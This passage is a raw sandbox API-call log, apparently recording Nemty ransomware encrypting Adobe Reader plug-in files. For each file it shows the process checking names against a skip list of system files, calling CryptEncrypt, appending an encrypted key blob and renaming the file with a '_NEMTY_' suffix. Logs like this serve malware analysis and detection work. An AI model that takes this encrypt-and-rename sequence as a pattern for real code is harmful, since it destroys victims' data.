cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.EUQ", lpUsedDefaultChar=0x0) returned 10 [0191.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.EUQ", lpUsedDefaultChar=0x0) returned 10 [0191.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.EUQ", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.EUQ", lpUsedDefaultChar=0x0) returned 10 [0191.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.058] Sleep (dwMilliseconds=0x5) [0191.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25880db0, dwHighDateTime=0x1d561e8)) [0191.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25880db0, dwHighDateTime=0x1d561e8)) [0191.067] GetLastError () returned 0x0 [0191.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.067] GetLastError () returned 0x0 [0191.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.067] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.067] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.067] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.067] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="UxVOSqY26Pl9UDMq1p6xMgZDw8p+krfxF0POp4spVNBjijwxtvR5/8J5K/oKpjVV\r\nfm0sMu/Ki0A5dT2Qqq8q4Gry0juSXdhKEWBRu+WoeEHvXqZYbLrSNEoUlhabbbkW\r\niLiZu7NkNH4f0N6cPU+aXEDdk7h95mzBg4CPKwqpe+ASH67dBLiV5z2N/W9qEc+S\r\nhvELLxsPtSzEd8JR3+MXRgpqWXdZk8uTgPicP+zzQG6xMuq+p+l+kSgEMX6FfMSJ\r\nyheZIXsCUKeayjAJhALFjhhhuqawMyprYUuDAZA5lfezkYqstCtNXARonf/RQ2FM\r\nIViqN/wved8eH9sdppmJAg==\r\n", pcchString=0x653e29c) returned 1 [0191.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.068] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.068] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.068] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.070] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.070] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.070] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.070] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.070] CloseHandle (hObject=0x2f0) returned 1 [0191.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.070] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.euq._nemty_kgobjgd_")) returned 1 [0191.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.071] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.FRA", cAlternateFileName="")) returned 1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2=".") returned 1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="..") returned 1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="...") returned 1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="windows") returned -1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="$RECYCLE.BIN") returned 1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="rsa") returned -1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="NTDETECT.COM") returned -1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="ntldr") returned -1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="MSDOS.SYS") returned -1 [0191.071] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="IO.SYS") returned 1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="boot.ini") returned 1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="boot.ini") returned 1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="ntuser.dat") returned -1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="desktop.ini") returned 1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="CONFIG.SYS") returned 1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="RECYCLER") returned -1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="BOOTSECT.BAK") returned 1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="bootmgr") returned 1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="programdata") returned -1 [0191.072] lstrcmpiW (lpString1="Mcimpp.FRA", lpString2="appdata") returned 1 [0191.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.FRA", lpUsedDefaultChar=0x0) returned 10 [0191.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.FRA", lpUsedDefaultChar=0x0) returned 10 [0191.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.FRA", lpUsedDefaultChar=0x0) returned 10 [0191.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.FRA", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.FRA", lpUsedDefaultChar=0x0) returned 10 [0191.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.072] Sleep (dwMilliseconds=0x5) [0191.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x258a6f10, dwHighDateTime=0x1d561e8)) [0191.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x258a6f10, dwHighDateTime=0x1d561e8)) [0191.082] GetLastError () returned 0x0 [0191.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.082] GetLastError () returned 0x0 [0191.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.083] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.083] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.083] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.083] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="oxH1fBIzIJ95yIc3ICgOC3b6BaOqe1AL7wJWNHBoqMZAiYNxD7ERM15Fph2ZmnkA\r\nhdLhh3c/RWnlUC/knj0Q1HEFG+eEJgq3chbIui8x9RpATPg8WwUAYvKosS0b3eaR\r\nJ8NhutlvFvQc7jmmMjb8+uugw2Y2u/hnYK/f+jx9MoJbOHVg+qG2W1TL/jLAYE1k\r\nXWFOUjLUc134zPATAZT4mPU5dEgBWFoZAkKdHdyswrqVUzEOcE+dU8W2L3XqX1wM\r\nc+asT+NP1rvslCehjGA9P0vX15OSaNnL7fzvdVDilLYxlhatzOUatbbn04zLMQu5\r\njkCkaklSJtPmBgXq+37eXA==\r\n", pcchString=0x653e29c) returned 1 [0191.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.083] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.084] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.084] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.086] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.086] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.086] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.086] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.086] CloseHandle (hObject=0x2f0) returned 1 [0191.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.087] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.fra._nemty_kgobjgd_")) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.087] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.ITA", cAlternateFileName="")) returned 1 [0191.087] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2=".") returned 1 [0191.087] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="..") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="...") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="windows") returned -1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="$RECYCLE.BIN") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="rsa") returned -1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="NTDETECT.COM") returned -1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="ntldr") returned -1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="MSDOS.SYS") returned -1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="IO.SYS") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="boot.ini") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="boot.ini") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="ntuser.dat") returned -1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="desktop.ini") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="CONFIG.SYS") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="RECYCLER") returned -1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="BOOTSECT.BAK") returned 1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="bootmgr") returned 1 [0191.088] 